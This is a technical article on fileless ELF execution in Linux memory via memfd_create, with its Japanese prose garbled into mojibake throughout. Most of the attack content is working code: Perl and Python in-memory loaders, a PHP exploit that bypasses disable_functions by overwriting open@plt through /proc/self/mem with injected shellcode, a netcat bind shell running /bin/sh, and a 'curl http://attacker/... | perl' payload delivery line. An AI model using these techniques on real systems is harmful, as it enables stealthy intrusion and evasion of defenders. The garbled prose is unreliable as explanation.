ãã¡ã€ã«ããªãŒã®ãã«ãŠã§ã¢é
åžã人æ°ãéããŠããŸãã ãã®ãããªããã°ã©ã ã®äœæ¥ã¯ã»ãšãã©çè·¡ãæ®ããªããããããã¯é©ãããšã§ã¯ãããŸããã ãã®èšäºã§ã¯ãWindowsã¡ã¢ãªã§ããã°ã©ã ãå®è¡ããææ³ã«ã€ããŠã¯è§ŠããŸããã GNU / Linuxã«çŠç¹ãåœãŠãŠããŸãã Linuxã¯åœç¶ããµãŒããŒã»ã°ã¡ã³ããæ¯é
ããäœçŸäžãã®çµã¿èŸŒã¿ããã€ã¹ã§åäœããWebãªãœãŒã¹ã®å€§éšåãæäŸããŸãã 次ã«ãã¡ã¢ãªå
ã§ããã°ã©ã ãå®è¡ããå¯èœæ§ã«ã€ããŠç°¡åã«ã¬ãã¥ãŒãããããå°é£ãªç¶æ³ã§ãå¯èœã§ããããšã瀺ããŸãã
ãã¡ã€ã«ã䜿çšããªãå®è¡æè¡ã¯æ©å¯æ§ãé«ãããã®äœ¿çšãæ€åºããã³è¿œè·¡ããããšã¯éåžžã«å°é£ã§ãã ãã¡ã€ã«ã·ã¹ãã ã®æŽåæ§å¶åŸ¡ããŒã«ã¯ããã£ã¹ã¯ãžã®æžã蟌ã¿æäœããã£ã¹ã¯äžã®ãã¡ã€ã«ã®å€æŽãçºçããªãããã管çè
ã«èŠåããŸããã ã¢ã³ããŠã€ã«ã¹ãœãããŠã§ã¢ïŒå€ãã®å ŽåãnixãŠãŒã¶ãŒã«ãã£ãŠç¡èŠãããŸãïŒã¯ãèµ·ååŸã«ããã°ã©ã ã¡ã¢ãªãç£èŠããŸããã ããã«ãå€ãã®GNU / Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã§ã¯ãã€ã³ã¹ããŒã«çŽåŸã«ãããŸããŸãªãããã°ãŠãŒãã£ãªãã£ãã€ã³ã¿ãŒããªã¿ãŒãããã°ã©ãã³ã°èšèªã®ã³ã³ãã€ã©ãããã³ãããã®ã©ã€ãã©ãªãå©çšã§ããŸãã ããã¯ãã¹ãŠãç§å¯ã®ãã¡ã€ã«ããªãŒããã°ã©ã å®è¡ã®ãã¯ããã¯ã䜿çšããããã®åªããæ¡ä»¶ãäœæããŸãã ãããããããã®äœ¿çšã®å©ç¹ã«å ããŠãæ¬ ç¹ããããŸã-ãããã®ããã°ã©ã ã¯ãã¿ãŒã²ãããã¹ãã®ãã©ãã¯ã¢ãŠããŸãã¯ãªããŒããçãæ®ããŸããã ãã ãããã¹ãã®å®è¡äžã¯ããã°ã©ã ã¯æ©èœããŸãã
ãã®ãããªææ³ã¯ããã«ãŠã§ã¢ã®é
åžã ãã§ãªãã䜿çšãã¹ãã§ãã ããã°ã©ã ã®å®è¡é床ãéèŠãªå Žåã¯ãRAMã«ã¢ã³ããŒãããŸãã å®éãå€ãã®Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã¯RAMã§å®å
šã«åäœããã®ããã°ããããšæããŠããããããã¡ã€ã«ãä¿åããã«ããŒããã©ã€ããæäœã§ããŸãã æ
å ±ã»ãã¥ãªãã£ç£æ»ã®èŠ³ç¹ãããããã°ã©ã ã®ç§å¯å®è¡ã®æ¹æ³ã¯ãã¿ãŒã²ãããããã¯ãŒã¯ã®å¢çå
ã®æäœåŸããã³ã€ã³ããªãžã§ã³ã¹ã®æ®µéãšããŠéåžžã«åœ¹ç«ã¡ãŸãã ç¹ã«ãæ倧æ©å¯æ§ãç£æ»æ¡ä»¶ã®1ã€ã§ããå Žåã
2018幎ã®barkly.comããŒã¿ã«ã«ãããšããŠã€ã«ã¹æ»æã®35ïŒ
ã¯æ¢ã«ã¡ã¢ãªã§å®è¡ãããŠããæªæã®ãããœãããŠã§ã¢ã§çºçããŠããŸãã
Windowsã®å Žåãæ»æè
ã¯äºåã«ã€ã³ã¹ããŒã«ãããPowershellã·ã¹ãã ãç©æ¥µçã«äœ¿çšããŠãã³ãŒããããŠã³ããŒãããããã«å®è¡ããŸãã ãããã®ææ³ã¯ãPowershell EmpireãPowersploitãMetasploit Frameworkãªã©ã®ãã¬ãŒã ã¯ãŒã¯ã§å®è£
ãããŠãããããç¹ã«åºã䜿çšãããŠããŸãã
Linuxã¯ã©ãã§ããïŒ
ã»ãšãã©ã®å Žåããã¹ãã«ã€ã³ã¹ããŒã«ãããLinuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã«ã¯ããœãããŠã§ã¢ã®ã»ãããäºåã«ã€ã³ã¹ããŒã«ãããŠããŸãã ååãšããŠãããã°ã©ãã³ã°èšèªã®ã€ã³ã¿ãŒããªã¿ãŒãå©çšå¯èœã§ãïŒPythonãPerlãCã³ã³ãã€ã©ãŒPHPã¯ä»å±è³æã®ãã¹ãã£ã³ã°ãµã€ãã«ãããŸãã ãã®æ¡ä»¶ã«ããããããã®èšèªã䜿çšããŠã³ãŒããå®è¡ã§ããŸãã
Linuxã§ã¯ãã¡ã¢ãªå
ã§ã³ãŒããå®è¡ããããã®ããã€ãã®ããç¥ããããªãã·ã§ã³ããããŸãã
æãç°¡åãªæ¹æ³ã¯ããã¡ã€ã«ã·ã¹ãã ã«äºåã«ããŠã³ããããå
±æã¡ã¢ãªé åã䜿çšããããšã§ãã
å®è¡å¯èœãã¡ã€ã«ã/ dev / shmãŸãã¯/ run / shmãã£ã¬ã¯ããªã«é
眮ããããšã«ããããããã®ãã£ã¬ã¯ããªã¯ãã¡ã€ã«ã·ã¹ãã ã«ããŠã³ããããã©ã³ãã ã¢ã¯ã»ã¹ã¡ã¢ãªã«ãããªããããã¡ã¢ãªã§çŽæ¥å®è¡ããããšãã§ããŸãã ãã ããä»ã®ãã£ã¬ã¯ããªãšåæ§ã«lsã§è¡šç€ºã§ããŸãã ãŸããååãšããŠããããã®ãã£ã¬ã¯ããªã¯noexecãã©ã°ã䜿çšããŠããŠã³ãããããããã®ãã£ã¬ã¯ããªå
ã®ããã°ã©ã ã®å®è¡ã¯ã¹ãŒããŒãŠãŒã¶ãŒã®ã¿ã䜿çšã§ããŸãã ãããã£ãŠãããå°ãç®ç«ããªãããã«ããã«ã¯ãäœãä»ã®ãã®ãå¿
èŠã§ãã
ããã«æ³šç®ãã¹ãã¯ã memfd_createïŒ2ïŒã·ã¹ãã ã³ãŒã«ã§ãã ãã®ã·ã¹ãã ã³ãŒã«ã¯ã»ãŒmallocïŒ3ïŒã®ããã«æ©èœããŸãããã¡ã¢ãªé åãžã®ãã€ã³ã¿ã§ã¯ãªãã /proc/PID/fd/
ãªã³ã¯ãšããŠã®ã¿ãã¡ã€ã«ã·ã¹ãã ã«è¡šç€ºãããå¿åãã¡ã€ã«ãžã®ãã¡ã€ã«èšè¿°åãè¿ããŸãã execveïŒ2ïŒã
memfd_createã·ã¹ãã ã³ãŒã«ã®ããã¥ã¢ã«ããŒãžã®å
容ïŒãã·ã¢èªïŒã¯æ¬¡ã®ãšããã§ãã
ãnameã§æå®ããã name
ã¯ãã¡ã€ã«åãšããŠäœ¿çšããããã£ã¬ã¯ããªå
ã®å¯Ÿå¿ããã·ã³ããªãã¯ãªã³ã¯ã®ã¿ãŒã²ãããšããŠè¡šç€ºãããŸãmemfd:
ã衚瀺åã¯åžžã«memfd:
å§ãŸãããããã°ã®ã¿ã«äœ¿çšãããŸããååã¯ãã¡ã€ã«ã®åäœã«åœ±é¿ããŸãããèšè¿°åããããã£ãŠãè€æ°ã®ãã¡ã€ã«ãåãååãæã€å ŽåããããŸãããäœã®åœ±é¿ããããŸãããã
Cèšèªã§memfd_create()
ã䜿çšããäŸïŒ
#include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); }
äžèšã®ã³ãŒãã¯memfd
䜿çšããåããã»ã¹ãäœæãããã®åºåãäžæãã¡ã€ã«ã«ã«ãŒãã£ã³ã°ããåããã»ã¹ãå®äºãããŸã§åŸ
æ©ãããã®åºåãäžæãã¡ã€ã«ããèªã¿åããŸãã éåžžããã€ãã|ãã¯ã* nixã§1ã€ã®ããã°ã©ã ã®åºåãå¥ã®ããã°ã©ã ã®å
¥åã«ãªãã€ã¬ã¯ãããããã«äœ¿çšãããŸãã
syscall()
ã䜿çšããæ©èœã¯ãperlãpythonãªã©ã®è§£éèšèªã§ã䜿çšã§ããŸãã次ã«ãèããããã·ããªãªã®1ã€ãæ€èšãã memfd_create()
ã䜿çšããŠå®è¡å¯èœãã¡ã€ã«ãã¡ã¢ãªã«ããŒãããæ©èœã瀺ããŸãã
Perl
ã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³ã®åœ¢åŒã§ãšã³ããªãã€ã³ãããããšããŸãã
ã¿ãŒã²ããã·ã¹ãã ã§ã·ã¹ãã ã³ãŒã«ãè¡ãæ¹æ³ãå¿
èŠã§ãã
perlã§ã¯ã syscallïŒïŒé¢æ°ããããæ¯æŽããŸãã
ãŸããELFãå¿åãã¡ã€ã«ã®å
容ãšããŠã¡ã¢ãªã«çŽæ¥æžã蟌ãæ¹æ³ãå¿
èŠã§ãã
ãããè¡ãã«ã¯ãELFãã¹ã¯ãªããã®æ¬æã«çŽæ¥é
眮ããå©çšå¯èœãªã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³ãä»ããŠã¿ãŒã²ããã·ã¹ãã ã«è»¢éããŸãã ãŸãã¯ããããã¯ãŒã¯çµç±ã§å®è¡å¯èœãã¡ã€ã«ãããŠã³ããŒãããããšãã§ããŸãã
ãããããã®åã«äºçŽãã䟡å€ããããŸãã å¿
èŠãªmemfd_create()
ã·ã¹ãã ã³ãŒã«ã¯ããŒãžã§ã³3.17以éã§ã®ã¿å©çšå¯èœã§ãããããã¿ãŒã²ãããã¹ãäžã®Linuxã«ãŒãã«ããŒãžã§ã³ãç¥ãå¿
èŠããããŸãã
memfd_create()
ãšexecve()
詳ããmemfd_create()
ãŸããã
å¿åãã¡ã€ã«ã®å Žåãå®æ°MFD_CLOEXEC
ã䜿çšããŸããããã¯ããæ°ãããªãŒãã³ãã¡ã€ã«èšè¿°åã®close-on-exec (FD_CLOEXEC)
ãã©ã°close-on-exec (FD_CLOEXEC)
ãèšå®ããŸããã ããã¯ã execve()
ã䜿çšããŠELFãå®è¡ããåŸããã¡ã€ã«èšè¿°åãèªåçã«éããããšãæå³ããŸã
syscall()
é¢æ°ã䜿çšããããã syscall
ãšãã®ãã©ã¡ãŒã¿ãŒãåŒã³åºãã«ã¯æ°å€ãå¿
èŠã§ãã
ãããã¯/usr/include
ãŸãã¯ã€ã³ã¿ãŒãããã§èŠã€ããããšãã§ããŸãã ã·ã¹ãã ã³ãŒã«çªå·ã¯ã __NR_
å§ãŸã#define
ãã__NR_
ãã®å Žåã64ãããOSã®å Žåã memfd_create()
çªå·ã¯319ã§ãã ãããŠãå®æ°ã¯FD_CLOSEXEC 0x0001U
ïŒã€ãŸãã linux/memfd.h
ïŒã§ãã
ããã§å¿
èŠãªæ°å€ããã¹ãŠæã£ãmemfd_create(name, MFD_CLOEXEC)
ãCã®memfd_create(name, MFD_CLOEXEC)
é¡äŒŒç©ãPerlã§èšè¿°ã§ããŸãã
ãŸãã /memfd:
衚瀺ããããã¡ã€ã«åãäœæããå¿
èŠããããŸã/memfd:
[:kworker]
䌌ãååããŸãã¯çãã®ãªãå¥ã®ååãéžæããã®ãæé©ã§ãã
ããšãã°ãnameãã©ã¡ãŒã¿ã«ç©ºã®æååãæž¡ããŸãã
my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; }
ããã§ã$ fdã«å¿åãã¡ã€ã«èšè¿°åãããããã®ãã¡ã€ã«ã«ELFãæžã蟌ãå¿
èŠããããŸãã
éåžžãperlã®openïŒïŒé¢æ°ã¯ãã¡ã€ã«ãéãããã«äœ¿çšãããŸããã >&=FD
æ§é ã䜿çšããŠããã¡ã€ã«åã®ä»£ããã«ãã®é¢æ°ã«èšè¿°åãæž¡ããæ¢ã«éããŠãããã¡ã€ã«èšè¿°åããã¡ã€ã«ãã³ãã«ã«å€æããŸãã
autoflush[]
ãæçšã§ãã
open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]);
ããã§ãå¿åãã¡ã€ã«ãåç
§ãããã³ãã«ãã§ããŸããã
次ã«ãå®è¡å¯èœãã¡ã€ã«ããPerlã¹ã¯ãªããã®æ¬äœã«é
眮ã§ããããŒã¿ã«å€æããå¿
èŠããããŸãã
ãããè¡ãã«ã¯ã次ãå®è¡ããŸãã
$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary
å€ãã®é¡äŒŒããè¡ããããŸãïŒ
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
ããããå®è¡ããããå®è¡å¯èœãã¡ã€ã«ãã¡ã¢ãªã«é
眮ããŸãã æ®ã£ãŠããã®ã¯ãèµ·åããããšã ãã§ãã
ãã©ãŒã¯ïŒïŒ
ãªãã·ã§ã³ã§forkïŒïŒã䜿çšã§ããŸãã ããã¯ãŸã£ããå¿
èŠãããŸããã ãã ããELFãå®è¡ããŠããã»ã¹ã匷å¶çµäºããã ãã§ã¯ãªãå Žåã¯ã fork()
ã䜿çšããå¿
èŠããããŸãã
äžè¬ã«ãperlã§ã®åããã»ã¹ã®äœæã¯æ¬¡ã®ããã«ãªããŸãã
while ($keep_going) { my $pid = fork(); if (-1 == $pid) {
fork()
ã®æçšæ§ã¯ã setsidïŒ2ïŒã§åŒã³åºãããšã§ã芪ããã»ã¹ããåããã»ã¹ãåé¢ãã芪ãçµäºãããããšãã§ãããšããäºå®ã«ãfork()
ãŸãïŒ
ããã§ãå€ãã®ããã»ã¹ã§ELFãå®è¡ã§ããŸãã
å®è¡ïŒïŒ
ExecveïŒïŒã¯ãããã°ã©ã ãå®è¡ã§ããããã«ããã·ã¹ãã ã³ãŒã«ã§ãã Perlã¯ãåè¿°ã®ã·ã¹ãã ã³ãŒã«ãšåãããã«æ©èœããExecïŒïŒé¢æ°ãä»ããŠåæ§ã®æ©èœãæäŸããŸãããæ§æã¯ã¯ããã«åçŽã§äŸ¿å©ã§ãã
exec()
2ã€ã®ãã®ãæž¡ãå¿
èŠããããŸããå®è¡ãããã¡ã€ã«ïŒä»¥åã«ããŒããããELFã¡ã¢ãªïŒãšãæž¡ãããåŒæ°ã®1ã€ãšããŠã®ããã»ã¹åã§ãã éåžžãããã»ã¹åã¯å®è¡å¯èœãã¡ã€ã«ã®ååã«å¯Ÿå¿ããŠããŸãã ãã ããããã»ã¹ãªã¹ãã«/proc/PID/fd/3
ã衚瀺ããããããããã»ã¹ãå¥ã®ãã®ãšåŒã³ãŸãã
exec()
ã®æ§æexec()
次ã®ãšããã§ãã
exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";
äžèšã®äŸã¯Netcatãèµ·åããŸãã ããããç§ãã¡ã¯ããã¯ãã¢ã®ãããªãã®ããå°ãå°ãªããã®ãç«ã¡äžãããã§ãã
èµ·åãããããã»ã¹ã«ã¯ã /proc/PID/fd
å
ã®å¿åãã¡ã€ã«ãžã®ãªã³ã¯ã¯ãããŸããããå®è¡äžã®ããã»ã¹ã®ãã¡ã€ã«ãæãlink /proc/PID/exe
ã§åžžã«ELFãèŠã€ããããšãã§ããŸãã
ããã§ããã£ã¹ã¯ããã¡ã€ã«ã·ã¹ãã ã«è§ŠããããšãªããLinuxã¡ã¢ãªã§ELFãèµ·åããŸããã
ããšãã°ãã¹ã¯ãªãããPerlã€ã³ã¿ãŒããªã¿ãŒã«æž¡ãããã®æ¬äœã§ELFãé
眮ããŠå€éšWebãã¹ãã£ã³ã°ã«é
眮ããããšã«ãããå®è¡å¯èœãã¡ã€ã«ãã¿ãŒã²ããã·ã¹ãã ã«è¿
éãã€äŸ¿å©ã«ããŠã³ããŒãããããšãã§ããŸãã $ curl http://attacker/evil_elf.pl | perl
$ curl http://attacker/evil_elf.pl | perl
Python
Perlãªãã·ã§ã³ãšã®é¡æšã«ããã次ã®ããšãè¡ãå¿
èŠããããŸãã
- memfd_createïŒïŒã·ã¹ãã ã³ãŒã«ã䜿çšããŠãã¡ã¢ãªå
ã«å¿åãã¡ã€ã«ãäœæããŸã
- å®è¡å¯èœELFããã®ãã¡ã€ã«ã«æžã蟌ã¿ãŸã
- ãããå®è¡ãããªãã·ã§ã³ã§forkïŒïŒã§æ°åå®è¡ããŸã
import ctypes import os
pythonã®å Žåã syscall
ãåŒã³åºãã«ã¯ããã¡ã€ã«ãæžã蟌ãã§å®è¡ããããã»ã¹ãå¶åŸ¡ããæšæºã¢ãžã¥ãŒã«ctypesãšosãå¿
èŠã§ãã ãã¹ãŠã¯perlããŒãžã§ã³ã«å®å
šã«é¡äŒŒããŠããŸãã
äžèšã®ã³ãŒãã§ã¯ã以åã«/tmp/
ã«ãã£ããã¡ã€ã«ããã¡ã€ã«ã«æžã蟌ã¿ãŸãã ãã ããWebãµãŒããŒãããã¡ã€ã«ãããŠã³ããŒãããããšã劚ãããã®ã¯ãããŸããã
Php
ãã®æ®µéã§ã¯ããã§ã«perlãšpythonã䜿çšã§ããŸãã ãããã®èšèªã®éèš³ã¯ãå€ãã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã«ããã©ã«ãã§ã€ã³ã¹ããŒã«ãããŸãã ããããæãèå³æ·±ãã®ã¯ããã€ãã®ããã«å
ã§ãã
äœããã®çç±ã§perlãŸãã¯pythonã€ã³ã¿ãŒããªã¿ãŒãå©çšã§ããªãå Žåã¯ãPHPã䜿çšããããšããå§ãããŸãã ãã®èšèªã¯ãWebéçºè
ã®éã§éåžžã«äººæ°ããããŸãã ãŸããWebã¢ããªã±ãŒã·ã§ã³ã§ã³ãŒããå®è¡ããæ©èœãæ¢ã«èŠã€ãã£ãŠããå Žåã¯ãPHPã€ã³ã¿ãŒããªã¿ãŒãç§ãã¡ã«äŒãå¯èœæ§ãé«ããªããŸãã
æ®å¿µãªãããphpã«ã¯syscall
ãåŒã³åºãããã®çµã¿èŸŒã¿ã¡ã«ããºã ããããŸããã
rdotãã©ãŒã©ã ã®Bechedããæçš¿ãèŠã€ããŸããïŒThanks BechedïŒïŒãçŸåšã®ããã»ã¹ã¡ã¢ãªå
ã®procfs /proc/self/mem
ãä»ããŠsystem
ãžã®open
é¢æ°ã®åŒã³åºããäžæžããã disable_functions
ããã€ãã¹ããŸãã
ãã®ããªãã¯ã䜿çšããŠãé¢æ°ãã³ãŒãã«æžãæããŸããããã«ãããå¿
èŠãªã·ã¹ãã ã³ãŒã«ãçºçããŸãã
ã¢ã»ã³ãã©ãŒã§ã·ã§ã«ã³ãŒãã®åœ¢åŒã§syscallãphpã€ã³ã¿ãŒããªã¿ãŒã«æž¡ããŸãã
ã·ã¹ãã ã³ãŒã«ã¯ãäžé£ã®ã³ãã³ããä»ããŠæž¡ãå¿
èŠããããŸãã
PHPã¹ã¯ãªããã®äœæãå§ããŸãããã 次ã¯å€ãã®éæ³ã§ãã
ãŸããå¿
èŠãªãã©ã¡ãŒã¿ãŒã瀺ããŸãã
$elf = file_get_contents("/bin/nc.traditional");
ã·ããã瀺ããŸã-åŸã§ã·ã§ã«ã³ãŒããé
眮ããã¡ã¢ãªã®äžéå€ãšäžéå€ïŒ
function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); }
次ã¯ããã€ããªãã¡ã€ã«ããå±éãããæ©èœã§ãã ãããè¡ãã«ã¯ã bin2hexïŒïŒãã€ããªããŒã¿ã®hexdexïŒïŒé¢æ°ãéé ã§äœ¿çšããŠããã€ããªããŒã¿ã10é²è¡šçŸã«å€æããŸãïŒä¿åçšïŒã
function unp($value) { return hexdec(bin2hex(strrev($value))); }
次ã«ã ELFãã¡ã€ã«ã解æããŠãªãã»ãããååŸããŸãã
function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) {
ããã«ãã€ã³ã¹ããŒã«ãããŠããããŒãžã§ã³ã®PHPã«é¢ããæ
å ±ã衚瀺ããŸãã
if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n";
ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ããã深床ãšLinuxã«ãŒãã«ã®ããŒãžã§ã³ã確èªããŸãã
if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; }
disable_functions
ã®å¶éãåé¿ããããã«ãã¹ã¯ãªããã¯open@plt
é¢æ°ã®ã¢ãã¬ã¹ããã®å Žã§æžãæããŸãã beched'aã³ãŒãã«ããã€ãã®è¿œå ãè¡ããã·ã§ã«ã³ãŒããã¡ã¢ãªã«é
眮ã§ããããã«ãªããŸããã
ãŸããPHPã€ã³ã¿ãŒããªã¿ãŒèªäœã®ãã€ããªãã¡ã€ã«å
ã®ã·ãããèŠã€ããå¿
èŠããããŸãããã®ããã /proc/self/exe
ãåç
§ããäžèšã®parseelf()
é¢æ°ã䜿çšããŠå®è¡å¯èœãã¡ã€ã«ã解æããŸãã
echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; }
open()
é¢æ°ã®ã¢ãã¬ã¹ãèŠã€ããŸãïŒ
echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb');
ããã§ãå®è¡å¯èœãã¡ã€ã«ãçŽæ¥ããŠã³ããŒãã§ããŸãã
ãŸããå¿åãã¡ã€ã«ãäœæããŸãã
$shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w');
ããŒããå¿åãã¡ã€ã«ã«æžã蟌ã¿ãŸãã
fwrite($fp, $elf);
ãã¡ã€ã«èšè¿°åçªå·ãæ¢ããŠããŸãïŒ
$found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; }
次ã«ãã¹ã¿ãã¯äžã®å®è¡å¯èœãã¡ã€ã«ãžã®ãã¹ãæžã蟌ã¿ãŸãã
fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack);
å®è¡ããåŒæ°ã¯å®è¡å¯èœãã¡ã€ã«ã«æž¡ãããŸãïŒ
fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n";
次ã«ã fork()
åŒã³åºãããšã«ããããã€ããŒããå®è¡ããŸãã
echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit();
ã·ã§ã«ã³ãŒã
ã·ã§ã«ã³ãŒããšã¯éåžžãã¡ã¢ãªã«æ ŒçŽãããåŸãéåžžã¯å¥ã®ããã°ã©ã ã®ã³ã³ããã¹ãã§ããããã¡ãªãŒããŒãããŒæ»æãªã©ã䜿çšããŠå®è¡ãããäžé£ã®ãã€ããæå³ããŸãã ãã®å Žåãã·ã§ã«ã³ãŒãã¯ãªã¢ãŒããµãŒããŒïŒå®éã«ã¯ã·ã§ã«ïŒã®ã³ãã³ãããã³ãããè¿ããŸããããå¿
èŠãªã³ãã³ããå®è¡ã§ããŸãã
å¿
èŠãªãã€ãã·ãŒã±ã³ã¹ãååŸããã«ã¯ãCã³ãŒããèšè¿°ããŠããã¢ã»ã³ãã©ãŒèšèªã«ç¿»èš³ããããã¢ã»ã³ããªãŒèšèªãæåããèšè¿°ããŸãã
äžèšã®ãªã¹ãã®ãã€ãã·ãŒã±ã³ã¹ã®èåŸã«é ããŠãããã®ãèŠãŠã¿ãŸãããã
push 57 pop rax syscall test eax, eax jnz quit
ããã°ã©ã ã®èµ·åã¯c fork
å§ãŸããŸãã 57ã¯ã64ãããã·ã¹ãã ã®ã·ã¹ãã ã³ãŒã«IDã®æ°å€ã§ãã è¡šã¯ããã«ãããŸã ã
次ã«ã setsid
ïŒæ°å€èå¥å112ïŒãåŒã³åºããŠãåããã»ã¹ã芪ã«å€æããŸãã
push 112 pop rax syscall
次ã«ãå¥ã®fork
å®è¡ããŸãã
push 57 pop rax syscall test eax, eax jnz quit
次ã«ã䜿ãæ
£ããexecve()
å®è¡ããŸãã
; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret
ãããŠã exit()
ïŒ60ïŒã§ããã»ã¹ãçµäºããŸãïŒ
; exit quit: push 0 pop rdi push 60 pop rax syscall
ãããã£ãŠãå€åºå
ã§openïŒïŒé¢æ°ã³ãŒãã眮ãæããŸããã å®è¡ãã¡ã€ã«ã¯ã¡ã¢ãªã«é
眮ãããPHPã€ã³ã¿ãŒããªã¿ãŒã«ãã£ãŠå®è¡ãããŸããã ã·ã¹ãã ã³ãŒã«ã¯ã·ã§ã«ã³ãŒããšããŠè¡šç€ºãããŸãã
äžèšã®ææ³ã®ã³ã³ãã€ã«ãšããŠã MSFçšã®ã¢ãžã¥ãŒã«ãæºåããŸããã
Metasploitã«è¿œå ããã«ã¯ãã¢ãžã¥ãŒã«ãã¡ã€ã«ããã£ã¬ã¯ããª$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb
ã«reload_all
ããŠããããã¬ãŒã ã¯ãŒã¯ã³ã³ãœãŒã«ã§reload_all
ã³ãã³ããå®è¡ããŸãã
ã¢ãžã¥ãŒã«ã䜿çšããã«ã¯ã use post/linux/manage/download_exec_elf_in_memory
ïŒãŸãã¯ãã¢ãžã¥ãŒã«ãã¡ã€ã«ã眮ãããŠãããã£ã¬ã¯ããªã«å¿ããŠå¥ã®ãã¹ïŒãå
¥åããŸãã
䜿çšããåã«ãå¿
èŠãªãªãã·ã§ã³ãèšå®ããå¿
